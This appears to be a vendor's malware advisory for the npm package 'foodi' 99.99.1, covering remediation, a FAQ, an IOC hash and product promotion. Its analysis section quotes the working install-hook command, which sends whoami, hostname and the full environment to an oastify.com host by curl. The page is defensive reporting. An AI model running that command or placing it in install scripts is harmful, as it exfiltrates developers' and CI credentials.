Which versions of foodi are malicious?

The following npm versions of foodi are flagged malicious: 99.99.1. Treat any of these as compromised.

How do I remediate foodi if I installed it?

foodi is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed foodi — how do I know if it already compromised me?

If foodi was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is foodi part of a known attack campaign?

Yes — foodi is associated with the IN-MAL-2026-014684 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find foodi across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for foodi (version 99.99.1).

Malicious package

foodinpm

Advisory published Aug 5, 2026Updated Aug 5, 2026

foodi is a confirmed malicious npm package (MAL-2026-12383) that steals credentials and exfiltrates sensitive data (malicious version 99.99.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in foodi (npm)

MAL-2026-12383

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall foodi

What this malware does

package.json declares preinstall and postinstall lifecycle scripts that both execute curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)". On npm install, the package runs whoami, hostname, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (-k). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.

Malicious versions

1 flagged

99.99.1

Indicators of compromise (SHA-256)

299310eb47eac6e7f39ee1a7346de8e524d9a91cc6a07d2e8879338fa86ff5af

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for foodi (version 99.99.1).
If you installed it — respond
foodi is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If foodi was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. foodi on npm has been identified as a malicious package (version 99.99.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-014684

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks foodi-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database